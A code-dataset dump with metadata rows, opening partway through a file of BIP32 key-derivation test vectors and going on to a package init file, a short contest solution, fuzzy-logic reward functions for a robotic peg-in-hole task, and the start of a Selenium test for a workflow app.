"bb7d39bdb83ecf58f2fd82b6d918341cbef428661ef01ab97c28a4842125ac23"
),
# --- BIP32 Testvector 3 ---
# NOTE: Leading zeros bug https://github.com/iancoleman/bip39/issues/58
(
"4b381541583be4423346c643850da4b320e46a87ae3d2a4e6da11eba819cd4acba45"
"d239319ac14f863b8d5ab5a0d0c64d2e8a1e7d1457df2e5a3c51c73235be",
"m",
# NOTE Contains leading zero byte (which was the bug)
"00ddb80b067e0d4993197fe10f2657a844a384589847602d56f0c629c81aae32"
),
(
"4b381541583be4423346c643850da4b320e46a87ae3d2a4e6da11eba819cd4acba45"
"d239319ac14f863b8d5ab5a0d0c64d2e8a1e7d1457df2e5a3c51c73235be",
"m/0H",
"491f7a2eebc7b57028e0d3faa0acda02e75c33b03c48fb288c41e2ea44e1daef"
)
])
def test_bip32_testvectors(seed, path, key):
assert HDPath(path).derive(bytes.fromhex(seed)).hex() == key
| 39.307692 | 78 | 0.741683 | 159 | 3,577 | 16.654088 | 0.503145 | 0.074773 | 0.292296 | 0.245468 | 0.266239 | 0.19864 | 0.115559 | 0 | 0 | 0 | 0 | 0.48128 | 0.178641 | 3,577 | 90 | 79 | 39.744444 | 0.420014 | 0.090299 | 0 | 0.3875 | 0 | 0 | 0.702095 | 0.675909 | 0 | 0 | 0 | 0 | 0.0125 | 1 | 0.0125 | false | 0 | 0.025 | 0 | 0.0375 | 0 | 0 | 0 | 1 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
3d0e401287079fc2eb3aa6ebc62eefe84009f1be | 183 | py | Python | domain_adaptation/__init__.py | eddardd/CrossDomainFaultDetection | 83dd24727a8b35cda2549b40166beaf740e14c98 | [
"MIT"
] | 3 | 2021-08-30T11:41:36.000Z | 2021-12-22T10:45:25.000Z | domain_adaptation/__init__.py | eddardd/CrossDomainFaultDiagnosis | 83dd24727a8b35cda2549b40166beaf740e14c98 | [
"MIT"
] | 1 | 2021-02-26T06:02:33.000Z | 2021-02-26T06:02:33.000Z | domain_adaptation/__init__.py | eddardd/CrossDomainFaultDetection | 83dd24727a8b35cda2549b40166beaf740e14c98 | [
"MIT"
] | 2 | 2021-06-03T11:46:20.000Z | 2022-03-25T09:16:03.000Z | from .utils import *
from .metrics import *
from .ot_based import *
from .divergences import *
from .instance_based import *
from .feature_based import *
from .classification import * | 26.142857 | 29 | 0.775956 | 24 | 183 | 5.791667 | 0.416667 | 0.431655 | 0.323741 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.147541 | 183 | 7 | 30 | 26.142857 | 0.891026 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
3d1f93ab7f239fa22060f7e6bdd4a7cd60a15990 | 128 | py | Python | Knight-Rank/DAY-3/75A.py | rohansaini886/Peer-Programming-Hub-CP-Winter_Camp | d27fb6aa7e726e6d2cb95270c9e644d38d64dd1c | [
"MIT"
] | 2 | 2021-12-09T18:07:46.000Z | 2022-01-26T16:51:18.000Z | Knight-Rank/DAY-3/75A.py | rohansaini886/Peer-Programming-Hub-CP-Winter_Camp | d27fb6aa7e726e6d2cb95270c9e644d38d64dd1c | [
"MIT"
] | null | null | null | Knight-Rank/DAY-3/75A.py | rohansaini886/Peer-Programming-Hub-CP-Winter_Camp | d27fb6aa7e726e6d2cb95270c9e644d38d64dd1c | [
"MIT"
] | null | null | null | a,b=input(),input()
print(("NO","YES")[str(int(a)+int(b)).replace("0","")==str(int(a.replace("0",""))+int(b.replace("0","")))])
| 42.666667 | 107 | 0.53125 | 23 | 128 | 2.956522 | 0.434783 | 0.352941 | 0.205882 | 0.352941 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02381 | 0.015625 | 128 | 2 | 108 | 64 | 0.515873 | 0 | 0 | 0 | 0 | 0 | 0.0625 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0.5 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 7 |
a155725f105a8f0caf88d925955a46a32aa942d6 | 17,336 | py | Python | baselines/ddpg/src/experiment/Fuzzy_reward_mf_experiments.py | hzm2016/Peg_in_hole_assembly | be1f98ede9fe949eae552bd25c71846437801710 | [
"MIT"
] | 25 | 2018-10-08T07:51:55.000Z | 2022-03-22T12:38:21.000Z | baselines/ddpg/src/experiment/Fuzzy_reward_mf_experiments.py | robot0102/Peg_in_hole_assembly | be1f98ede9fe949eae552bd25c71846437801710 | [
"MIT"
] | 2 | 2019-05-22T13:30:11.000Z | 2020-05-27T13:29:17.000Z | baselines/ddpg/src/experiment/Fuzzy_reward_mf_experiments.py | robot0102/Peg_in_hole_assembly | be1f98ede9fe949eae552bd25c71846437801710 | [
"MIT"
] | 9 | 2019-01-07T10:48:30.000Z | 2022-03-27T08:57:51.000Z | # -*- coding: utf-8 -*-
"""
-------------------------------------------------
File Name: Fuzzy_reward_mf_experiments
Description :
Author : Zhimin Hou
date: 18-1-25
-------------------------------------------------
Change Activity:
18-1-25
-------------------------------------------------
"""
import numpy as np
import math
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import axes3d, Axes3D
def fuzzy_C1(m, f, z, dz):
# moment_max = 2
# force_max = 20
# z_max = 50
# detaz_max = 3
#
# """"""
# # m1 = (m + 0.5) / -0.5
# # m2 = 1 - abs((m + 0.5) / 0.5)
# # m3 = 1 - abs(m / 0.5)
# # m4 = 1 - abs((m - 0.5) / 0.5)
# # m5 = (m - 0.5) / 0.5
#
# m1 = 1 - m / (moment_max/4.)
# m2 = 1 - abs((m - (moment_max/4.)) / (moment_max / 4.))
# m3 = 1 - abs((m - (2*moment_max/4.)) / (moment_max / 4.))
# m4 = 1 - abs((m - (3*moment_max/4.)) / (moment_max / 4.))
# m5 = (m - (3*moment_max/4.)) / (moment_max / 4.)
#
# """"""
# # f1 = (f + 5) / -15.0
# # f2 = 1 - abs((f + 10.0) / 10.0)
# # f3 = 1 - abs(f / 5.0)
# # f4 = 1 - abs((f - 10.0) / 10.0)
# # f5 = (f - 5.0) / 15.0
#
# f1 = 1 - f / (force_max / 4.)
# f2 = 1 - abs((f - (force_max / 4.)) / (force_max / 4.))
# f3 = 1 - abs((f - (2 * force_max / 4.)) / (force_max / 4.))
# f4 = 1 - abs((f - (3 * force_max / 4.)) / (force_max / 4.))
# f5 = (f - (3 * force_max / 4.)) / (force_max / 4.)
#
# m1 = max(min(m1, 1.0), 0.0)
# m2 = max(min(m2, 1.0), 0.0)
# m3 = max(min(m3, 1.0), 0.0)
# m4 = max(min(m4, 1.0), 0.0)
# m5 = max(min(m5, 1.0), 0.0)
#
# f1 = max(min(f1, 1.0), 0.0)
# f2 = max(min(f2, 1.0), 0.0)
# f3 = max(min(f3, 1.0), 0.0)
# f4 = max(min(f4, 1.0), 0.0)
# f5 = max(min(f5, 1.0), 0.0)
#
# r1 = min(m1, f1)
# r2 = min(m1, f2)
# r3 = min(m1, f3)
# r4 = min(m1, f4)
# r5 = min(m1, f5)
# r6 = min(m2, f1)
# r7 = min(m2, f2)
# r8 = min(m2, f3)
# r9 = min(m2, f4)
# r10 = min(m2, f5)
# r11 = min(m3, f1)
# r12 = min(m3, f2)
# r13 = min(m3, f3)
# r14 = min(m3, f4)
# r15 = min(m3, f5)
# r16 = min(m4, f1)
# r17 = min(m4, f2)
# r18 = min(m4, f3)
# r19 = min(m4, f4)
# r20 = min(m4, f5)
# r21 = min(m5, f1)
# r22 = min(m5, f2)
# r23 = min(m5, f3)
# r24 = min(m5, f4)
# r25 = min(m5, f5)
#
# r0 = r1 + r2 + r3 + r4 + r5 + r6 + r7 + r8 + r9 + r10 + r11 + r12 + r13 + r14 + r15 + r16 + r17 + r18 + r19 + r20 + r21 + r22 + r23 + r24 + r25
# mfoutput = (0.33 * (r1 + r5 + r21 + r25) + 0.48 * (r6 + r10 + r16 + r20) + 0.69 * (r2 + r4 + r11 + r15 + r22 + r24)
# + 1 * (r3 + r7 + r9 + r17 + r19 + r23) + 1.44 * (r12 + r14) + 2.07 * (r8 + r18) + 3 * (r13)) / (3 * r0)
#
#
# # z1 = 1 - z / 25.0
# # z2 = 1 - abs((z - 25.0) / 25.0)
# # z3 = 1 - abs((z - 50.0) / 25.0)
# # z4 = 1 - abs((z - 75.0) / 25.0)
# # z5 = (z - 75) / 25.0
#
# z1 = 1 - z / (z_max / 4.)
# z2 = 1 - abs((z - (z_max / 4.)) / (z_max / 4.))
# z3 = 1 - abs((z - (2 * z_max / 4.)) / (z_max / 4.))
# z4 = 1 - abs((z - (3 * z_max / 4.)) / (z_max / 4.))
# z5 = (z - (3 * z_max / 4.)) / (z_max / 4.)
#
# # dz1 = 1 - dz / 0.375
# # dz2 = 1 - abs((dz - 0.375) / 0.375)
# # dz3 = 1 - abs((dz - 0.75) / 0.375)
# # dz4 = 1 - abs((dz - 1.125) / 0.375)
# # dz5 = (dz - 1.125) / 0.375
#
# dz1 = 1 - dz / (detaz_max / 4.)
# dz2 = 1 - abs((dz - (detaz_max / 4.)) / (detaz_max / 4.))
# dz3 = 1 - abs((dz - (2 * detaz_max / 4.)) / (detaz_max / 4.))
# dz4 = 1 - abs((dz - (3 * detaz_max / 4.)) / (detaz_max / 4.))
# dz5 = (dz - (3 * detaz_max / 4.)) / (detaz_max / 4.)
#
# z1 = max(min(z1, 1.0), 0.0)
# z2 = max(min(z2, 1.0), 0.0)
# z3 = max(min(z3, 1.0), 0.0)
# z4 = max(min(z4, 1.0), 0.0)
# z5 = max(min(z5, 1.0), 0.0)
# dz1 = max(min(dz1, 1.0), 0.0)
# dz2 = max(min(dz2, 1.0), 0.0)
# dz3 = max(min(dz3, 1.0), 0.0)
# dz4 = max(min(dz4, 1.0), 0.0)
# dz5 = max(min(dz5, 1.0), 0.0)
#
# r1 = min(z1, dz1)
# r2 = min(z1, dz2)
# r3 = min(z1, dz3)
# r4 = min(z1, dz4)
# r5 = min(z1, dz5)
# r6 = min(z2, dz1)
# r7 = min(z2, dz2)
# r8 = min(z2, dz3)
# r9 = min(z2, dz4)
# r10 = min(z2, dz5)
# r11 = min(z3, dz1)
# r12 = min(z3, dz2)
# r13 = min(z3, dz3)
# r14 = min(z3, dz4)
# r15 = min(z3, dz5)
# r16 = min(z4, dz1)
# r17 = min(z4, dz2)
# r18 = min(z4, dz3)
# r19 = min(z4, dz4)
# r20 = min(z4, dz5)
# r21 = min(z5, dz1)
# r22 = min(z5, dz2)
# r23 = min(z5, dz3)
# r24 = min(z5, dz4)
# r25 = min(z5, dz5)
# r0 = r1 + r2 + r3 + r4 + r5 + r6 + r7 + r8 + r9 + r10 + r11 + r12 + r13 + r14 + r15 + r16 + r17 + r18 + r19 + r20 + r21 + r22 + r23 + r24 + r25
# zdzoutput = (0.33 * (r1 + r2) + 0.48 * (r6 + r7) + 0.69 * (r3 + r8) + 1 * (r4 + r9 + r11 + r12 + r13) +
# 1.44 * (r5 + r10 + r14 + r18) + 2.07 * (r15 + r19 + r16 + r17 + r23) + 3 * (
# r20 + r21 + r22 + r24 + r25)) / (3 * r0)
mfoutput = fuzzy_mf(f, m)
zdzoutput = fuzzy_zdz(z, dz)
return mfoutput, zdzoutput
#input: mfoutput, zdzoutput
# def fuzzy_C2(m, f):
#
# m1 = 1-m/0.25
# m2 = 1-abs((m-0.25)/0.25)
# m3 = 1-abs((m-0.5)/0.25)
# m4 = 1-abs((m-0.75)/0.25)
# m5 = (m-0.75)/0.25
#
# f1 = 1 - f / 0.25
# f2 = 1 - abs((f - 0.25) / 0.25)
# f3 = 1 - abs((f - 0.5) / 0.25)
# f4 = 1 - abs((f - 0.75) / 0.25)
# f5 = (f - 0.75) / 0.25
#
# m1 = max(min(m1, 1.0), 0.0)
# m2 = max(min(m2, 1.0), 0.0)
# m3 = max(min(m3, 1.0), 0.0)
# m4 = max(min(m4, 1.0), 0.0)
# m5 = max(min(m5, 1.0), 0.0)
#
# f1 = max(min(f1, 1.0), 0.0)
# f2 = max(min(f2, 1.0), 0.0)
# f3 = max(min(f3, 1.0), 0.0)
# f4 = max(min(f4, 1.0), 0.0)
# f5 = max(min(f5, 1.0), 0.0)
#
# r1 = min(m1, f1)
# r2 = min(m1, f2)
# r3 = min(m1, f3)
# r4 = min(m1, f4)
# r5 = min(m1, f5)
# r6 = min(m2, f1)
# r7 = min(m2, f2)
# r8 = min(m2, f3)
# r9 = min(m2, f4)
# r10 = min(m2, f5)
# r11 = min(m3, f1)
# r12 = min(m3, f2)
# r13 = min(m3, f3)
# r14 = min(m3, f4)
# r15 = min(m3, f5)
# r16 = min(m4, f1)
# r17 = min(m4, f2)
# r18 = min(m4, f3)
# r19 = min(m4, f4)
# r20 = min(m4, f5)
# r21 = min(m5, f1)
# r22 = min(m5, f2)
# r23 = min(m5, f3)
# r24 = min(m5, f4)
# r25 = min(m5, f5)
# r0 = r1+r2+r3+r4+r5+r6+r7+r8+r9+r10+r11+r12+r13+r14+r15+r16+r17+r18+r19+r20+r21+r22+r23+r24+r25
# output = (0.33*(r1+r6)+0.48*(r2+r7+r11+r16)+0.69*(r3+r12+r17+r21)
# +1*(r4+r8+r9+r13+r22)+1.44*(r5+r10+r14+r18+r23)+2.07*(r15+r19+r24)+3*(r20+r25))/(3*r0)
# return [output]
def fuzzy_zdz(z, dz):
secnum = 4
dz_max = 1.2
everysecdz = dz_max / secnum
secdz1 = everysecdz
secdz2 = 2 * everysecdz
secdz3 = 3 * everysecdz
z_max = 100
everysecz = z_max / secnum
secz1 = everysecz
secz2 = 2 * everysecz
secz3 = 3 * everysecz
z1 = 1 - z / everysecz
z2 = 1 - abs((z - secz1) / everysecz)
z3 = 1 - abs((z - secz2) / everysecz)
z4 = 1 - abs((z - secz3) / everysecz)
z5 = (z - secz3) / everysecz
z1 = max(min(z1, 1.0), 0.0)
z2 = max(z2, 0.0)
z3 = max(z3, 0.0)
z4 = max(z4, 0.0)
z5 = max(min(z5, 1.0), 0.0)
dz1 = 1 - dz / everysecdz
dz2 = 1 - abs((dz - secdz1) / everysecdz)
dz3 = 1 - abs((dz - secdz2) / everysecdz)
dz4 = 1 - abs((dz - secdz3) / everysecdz)
dz5 = (dz - secdz3) / everysecdz
dz1 = max(min(dz1, 1.0), 0.0)
dz2 = max(dz2, 0.0)
dz3 = max(dz3, 0.0)
dz4 = max(dz4, 0.0)
dz5 = max(min(dz5, 1.0), 0.0)
r1 = min(z1, dz1)
r2 = min(z1, dz2)
r3 = min(z1, dz3)
r4 = min(z1, dz4)
r5 = min(z1, dz5)
r6 = min(z2, dz1)
r7 = min(z2, dz2)
r8 = min(z2, dz3)
r9 = min(z2, dz4)
r10 = min(z2, dz5)
r11 = min(z3, dz1)
r12 = min(z3, dz2)
r13 = min(z3, dz3)
r14 = min(z3, dz4)
r15 = min(z3, dz5)
r16 = min(z4, dz1)
r17 = min(z4, dz2)
r18 = min(z4, dz3)
r19 = min(z4, dz4)
r20 = min(z4, dz5)
r21 = min(z5, dz1)
r22 = min(z5, dz2)
r23 = min(z5, dz3)
r24 = min(z5, dz4)
r25 = min(z5, dz5)
r0 = r1 + r2 + r3 + r4 + r5 + r6 + r7 + r8 + r9 + r10 + r11 + r12 + r13 + r14 + r15 + r16 + r17 + r18 + r19 + r20 + r21 + r22 + r23 + r24 + r25
# Outputs are 9 sections
ratio = math.sqrt(2)
zdzoutput = (4.0 * (r1 + r2) + 2.0 * ratio * (r6) + 2.0 * (r3 + r7 + r11) + ratio * (r8 + r9 + r12) +
1.0 * (r4 + r13) + 1 / ratio * (r5 + r16) + 0.5 * (r10 + r14 + r17 + r18) + 0.5 * ratio * (r15 + r19 + r21 + r22 + r23)
+ 0.25 * (r20 + r24 + r25)) / (4.0 * r0)
return zdzoutput
# def fuzzy_zdz(z, dz):
#
# secnum = 4
# dz_max = 1.5
# everysecdz = dz_max / secnum
# secdz1 = everysecdz
# secdz2 = 2 * everysecdz
# secdz3 = 3 * everysecdz
#
# z_max = 100
# everysecz = z_max / secnum
# secz1 = everysecz
# secz2 = 2 * everysecz
# secz3 = 3 * everysecz
#
# z1 = 1 - z / everysecz
# z2 = 1 - abs((z - secz1) / everysecz)
# z3 = 1 - abs((z - secz2) / everysecz)
# z4 = 1 - abs((z - secz3) / everysecz)
# z5 = (z - secz3) / everysecz
#
# z1 = max(min(z1, 1.0), 0.0)
# z2 = max(z2, 0.0)
# z3 = max(z3, 0.0)
# z4 = max(z4, 0.0)
# z5 = max(min(z5, 1.0), 0.0)
#
# dz1 = 1 - dz / everysecdz
# dz2 = 1 - abs((dz - secdz1) / everysecdz)
# dz3 = 1 - abs((dz - secdz2) / everysecdz)
# dz4 = 1 - abs((dz - secdz3) / everysecdz)
# dz5 = (dz - secdz3) / everysecdz
#
# dz1 = max(min(dz1, 1.0), 0.0)
# dz2 = max(dz2, 0.0)
# dz3 = max(dz3, 0.0)
# dz4 = max(dz4, 0.0)
# dz5 = max(min(dz5, 1.0), 0.0)
#
# r1 = min(z1, dz1)
# r2 = min(z1, dz2)
# r3 = min(z1, dz3)
# r4 = min(z1, dz4)
# r5 = min(z1, dz5)
# r6 = min(z2, dz1)
# r7 = min(z2, dz2)
# r8 = min(z2, dz3)
# r9 = min(z2, dz4)
# r10 = min(z2, dz5)
# r11 = min(z3, dz1)
# r12 = min(z3, dz2)
# r13 = min(z3, dz3)
# r14 = min(z3, dz4)
# r15 = min(z3, dz5)
# r16 = min(z4, dz1)
# r17 = min(z4, dz2)
# r18 = min(z4, dz3)
# r19 = min(z4, dz4)
# r20 = min(z4, dz5)
# r21 = min(z5, dz1)
# r22 = min(z5, dz2)
# r23 = min(z5, dz3)
# r24 = min(z5, dz4)
# r25 = min(z5, dz5)
# r0 = r1 + r2 + r3 + r4 + r5 + r6 + r7 + r8 + r9 + r10 + r11 + r12 + r13 + r14 + r15 + r16 + r17 + r18 + r19 + r20 + r21 + r22 + r23 + r24 + r25
#
# # Outputs are 9 sections
# ratio = math.sqrt(2)
# zdzoutput = (4.0 * (r1 + r2) + 2.0 * ratio * (r6) + 2.0 * (r3 + r7 + r11) + ratio * (r8 + r9 + r12) +
# 1.0 * (r4 + r13) + 1 / ratio * (r5 + r16) + 0.5 * (r10 + r14 + r17 + r18) + 0.5 * ratio * (r15 + r19 + r21 + r22 + r23)
# + 0.25 * (r20 + r24 + r25)) / (-4.0 * r0)
#
# return zdzoutput
# def fuzzy_mf(m, f):
#
# secnum = 4
# moment_max = 2
# everysecm = moment_max / secnum
# secm1 = everysecm
# secm2 = 2 * everysecm
# secm3 = 3 * everysecm
#
# force_max = 20
# everysecf = force_max / secnum
# secf1 = everysecf
# secf2 = 2 * everysecf
# secf3 = 3 * everysecf
#
# """"""
# m1 = (m - secm3) / everysecm
# m2 = 1 - abs(m - secm3) /everysecm
# m3 = 1 - abs(m - secm2) / everysecm
# m4 = 1 - abs(m - secm1) / everysecm
# m5 = 1 - (m - secm1) / everysecm
#
# m1 = max(min(m1, 1.0), 0.0)
# m2 = max(m2, 0.0)
# m3 = max(m3, 0.0)
# m4 = max(m4, 0.0)
# m5 = max(min(m5, 1.0), 0.0)
#
# """"""
# f1 = (f - secf3) / everysecf
# f2 = 1 - abs(f - secf3) / everysecf
# f3 = 1 - abs(f - secf2) / everysecf
# f4 = 1 - abs(f - secf1) / everysecf
# f5 = 1 - (f - secf1) / everysecf
#
# f1 = max(min(f1, 1.0), 0.0)
# f2 = max(f2, 0.0)
# f3 = max(f3, 0.0)
# f4 = max(f4, 0.0)
# f5 = max(min(f5, 1.0), 0.0)
#
# #Fuzzy rules
# r1 = min(m1, f1)
# r2 = min(m1, f2)
# r3 = min(m1, f3)
# r4 = min(m1, f4)
# r5 = min(m1, f5)
# r6 = min(m2, f1)
# r7 = min(m2, f2)
# r8 = min(m2, f3)
# r9 = min(m2, f4)
# r10 = min(m2, f5)
# r11 = min(m3, f1)
# r12 = min(m3, f2)
# r13 = min(m3, f3)
# r14 = min(m3, f4)
# r15 = min(m3, f5)
# r16 = min(m4, f1)
# r17 = min(m4, f2)
# r18 = min(m4, f3)
# r19 = min(m4, f4)
# r20 = min(m4, f5)
# r21 = min(m5, f1)
# r22 = min(m5, f2)
# r23 = min(m5, f3)
# r24 = min(m5, f4)
# r25 = min(m5, f5)
#
# # Outputs are 9 sections
# ratio = math.sqrt(2)
# r0 = r1 + r2 + r3 + r4 + r5 + r6 + r7 + r8 + r9 + r10 + r11 + r12 + r13 + r14 + r15 + r16 + r17 + r18 + r19 + r20 + r21 + r22 + r23 + r24 + r25
# mfoutput = (4.0 * (r1 + r2 + r6) + 2.0 * ratio * (r3 + r7 + r8) + 2.0 * (r4 + r9 + r11) + ratio * (r5 + r10 + r12) +
# 1.0 * (r13 + r16) + 1 / ratio * (r14 + r17 + r21 + r22) + 0.5 * (r15 + r18) + 0.5 * ratio * (r19 + r20 + r23)
# + 0.25 * (r24 + r25)) / (-4 * r0)
#
# return mfoutput
def fuzzy_mf(f, m):
secnum = 4
moment_max = 1.5
everysecm = moment_max / secnum
secm1 = everysecm
secm2 = 2 * everysecm
secm3 = 3 * everysecm
force_max = 80
everysecf = force_max / secnum
secf1 = everysecf
secf2 = 2 * everysecf
secf3 = 3 * everysecf
""""""
m1 = (m - secm3) / everysecm
m2 = 1 - abs(m - secm3) /everysecm
m3 = 1 - abs(m - secm2) / everysecm
m4 = 1 - abs(m - secm1) / everysecm
m5 = 1 - (m - secm1) / everysecm
m1 = max(min(m1, 1.0), 0.0)
m2 = max(m2, 0.0)
m3 = max(m3, 0.0)
m4 = max(m4, 0.0)
m5 = max(min(m5, 1.0), 0.0)
""""""
f1 = (f - secf3) / everysecf
f2 = 1 - abs(f - secf3) / everysecf
f3 = 1 - abs(f - secf2) / everysecf
f4 = 1 - abs(f - secf1) / everysecf
f5 = 1 - (f - secf1) / everysecf
f1 = max(min(f1, 1.0), 0.0)
f2 = max(f2, 0.0)
f3 = max(f3, 0.0)
f4 = max(f4, 0.0)
f5 = max(min(f5, 1.0), 0.0)
#Fuzzy rules
r1 = min(m1, f1)
r2 = min(m1, f2)
r3 = min(m1, f3)
r4 = min(m1, f4)
r5 = min(m1, f5)
r6 = min(m2, f1)
r7 = min(m2, f2)
r8 = min(m2, f3)
r9 = min(m2, f4)
r10 = min(m2, f5)
r11 = min(m3, f1)
r12 = min(m3, f2)
r13 = min(m3, f3)
r14 = min(m3, f4)
r15 = min(m3, f5)
r16 = min(m4, f1)
r17 = min(m4, f2)
r18 = min(m4, f3)
r19 = min(m4, f4)
r20 = min(m4, f5)
r21 = min(m5, f1)
r22 = min(m5, f2)
r23 = min(m5, f3)
r24 = min(m5, f4)
r25 = min(m5, f5)
# Outputs are 9 sections
ratio = math.sqrt(2)
r0 = r1 + r2 + r3 + r4 + r5 + r6 + r7 + r8 + r9 + r10 + r11 + r12 + r13 + r14 + r15 + r16 + r17 + r18 + r19 + r20 + r21 + r22 + r23 + r24 + r25
mfoutput = (4.0 * (r1 + r2 + r6) + 2.0 * ratio * (r3 + r7 + r8) + 2.0 * (r4 + r9 + r11) + ratio * (r5 + r10 + r12) +
1.0 * (r13 + r16) + 1 / ratio * (r14 + r17 + r21 + r22) + 0.5 * (r15 + r18) + 0.5 * ratio * (r19 + r20 + r23)
+ 0.25 * (r24 + r25)) / (4 * r0)
return mfoutput
def fuzzy_C2(mf, zdz):
secnum = 4
mf_max = 1
everysecmf = mf_max / secnum
secmf1 = everysecmf
secmf2 = 2 * everysecmf
secmf3 = 3 * everysecmf
mf1 = 1 - mf / everysecmf
mf2 = 1 - abs(mf - secmf1) / everysecmf
mf3 = 1 - abs(mf - secmf2) / everysecmf
mf4 = 1 - abs(mf - secmf3) / everysecmf
mf5 = (mf - secmf3) / everysecmf
zdz_max = 1
everyseczdz = zdz_max / secnum
seczdz1 = everyseczdz
seczdz2 = 2 * everyseczdz
seczdz3 = 3 * everyseczdz
zdz1 = 1 - zdz / everyseczdz
zdz2 = 1 - abs(zdz - seczdz1) / everyseczdz
zdz3 = 1 - abs(zdz - seczdz2) / everyseczdz
zdz4 = 1 - abs(zdz - seczdz3) / everyseczdz
zdz5 = (zdz - seczdz3) / everyseczdz
mf1 = max(min(mf1, 1.0), 0.0)
mf2 = max(min(mf2, 1.0), 0.0)
mf3 = max(min(mf3, 1.0), 0.0)
mf4 = max(min(mf4, 1.0), 0.0)
mf5 = max(min(mf5, 1.0), 0.0)
zdz1 = max(min(zdz1, 1.0), 0.0)
zdz2 = max(min(zdz2, 1.0), 0.0)
zdz3 = max(min(zdz3, 1.0), 0.0)
zdz4 = max(min(zdz4, 1.0), 0.0)
zdz5 = max(min(zdz5, 1.0), 0.0)
r1 = min(mf1, zdz1)
r2 = min(mf1, zdz2)
r3 = min(mf1, zdz3)
r4 = min(mf1, zdz4)
r5 = min(mf1, zdz5)
r6 = min(mf2, zdz1)
r7 = min(mf2, zdz2)
r8 = min(mf2, zdz3)
r9 = min(mf2, zdz4)
r10 = min(mf2, zdz5)
r11 = min(mf3, zdz1)
r12 = min(mf3, zdz2)
r13 = min(mf3, zdz3)
r14 = min(mf3, zdz4)
r15 = min(mf3, zdz5)
r16 = min(mf4, zdz1)
r17 = min(mf4, zdz2)
r18 = min(mf4, zdz3)
r19 = min(mf4, zdz4)
r20 = min(mf4, zdz5)
r21 = min(mf5, zdz1)
r22 = min(mf5, zdz2)
r23 = min(mf5, zdz3)
r24 = min(mf5, zdz4)
r25 = min(mf5, zdz5)
r0 = r1+r2+r3+r4+r5+r6+r7+r8+r9+r10+r11+r12+r13+r14+r15+r16+r17+r18+r19+r20+r21+r22+r23+r24+r25
output = (0.33*(r1+r6)+0.48*(r2+r7+r11+r16)+0.69*(r3+r12+r17+r21)
+1*(r4+r8+r9+r13+r22)+1.44*(r5+r10+r14+r18+r23)+2.07*(r15+r19+r24)+3*(r20+r25))/(-3*r0)
return output | 29.333333 | 149 | 0.451546 | 2,900 | 17,336 | 2.674138 | 0.054483 | 0.035074 | 0.021663 | 0.028885 | 0.759639 | 0.749839 | 0.727402 | 0.722244 | 0.702901 | 0.702901 | 0 | 0.217444 | 0.336006 | 17,336 | 591 | 150 | 29.333333 | 0.456259 | 0.565817 | 0 | 0.041026 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.020513 | false | 0 | 0.020513 | 0 | 0.061538 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a1a5a74e7558fb50e855de2f189bbf60a3c5ed43 | 25,562 | py | Python | src/dataops/tests/test_views.py | uts-cic/ontask_b | b313e2352c77b40655f41dd5acba3a7635e6f3b3 | [
"MIT"
] | null | null | null | src/dataops/tests/test_views.py | uts-cic/ontask_b | b313e2352c77b40655f41dd5acba3a7635e6f3b3 | [
"MIT"
] | null | null | null | src/dataops/tests/test_views.py | uts-cic/ontask_b | b313e2352c77b40655f41dd5acba3a7635e6f3b3 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from __future__ import unicode_literals, print_function
import os
from django.conf import settings
from django.shortcuts import reverse
from django.utils.html import escape
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.select import Select
from selenium.webdriver.support.ui import WebDriverWait
import test
from dataops import pandas_db
from workflow.models import Workflow
class DataopsSymbols(test.OntaskLiveTestCase):
fixtures = ['wflow_symbols']
filename = os.path.join(
settings.BASE_DIR(),
'dataops',
'fixtures',
'wflow_symbols_df.sql'
)
def setUp(self):
super(DataopsSymbols, self).setUp()
pandas_db.pg_restore_table(self.filename)
def tearDown(self):
pandas_db.delete_all_tables()
super(DataopsSymbols, self).tearDown()
def test_01_symbols(self):
symbols = '!#$%&()*+,-./:;<=>?@[\]^_`{|}~'
# Login
self.login('instructor1@bogus.com')
self.open(reverse('workflow:index'))
# GO TO THE WORKFLOW PAGE
WebDriverWait(self.selenium, 10).until(
EC.title_is('OnTask :: Workflows'))
self.assertIn('New Workflow', self.selenium.page_source)
self.assertIn('Import', self.selenium.page_source)
# Open the workflow
wf_link = self.selenium.find_element_by_link_text('sss')
wf_link.click()
# Wait for the table to be refreshed
WebDriverWait(self.selenium, 10).until(
EC.presence_of_element_located((By.ID, 'column-table_previous'))
)
# Edit the name column
self.selenium.find_element_by_xpath(
"//table[@id='column-table']/tbody/tr[4]/td[4]/div/button"
).click()
self.selenium.find_element_by_xpath(
"//table[@id='column-table']/tbody/tr[4]/td[4]/div/ul/li[1]/button"
).click()
WebDriverWait(self.selenium, 10).until(
EC.visibility_of_element_located((By.ID, 'id_name'))
)
# Replace name by symbols
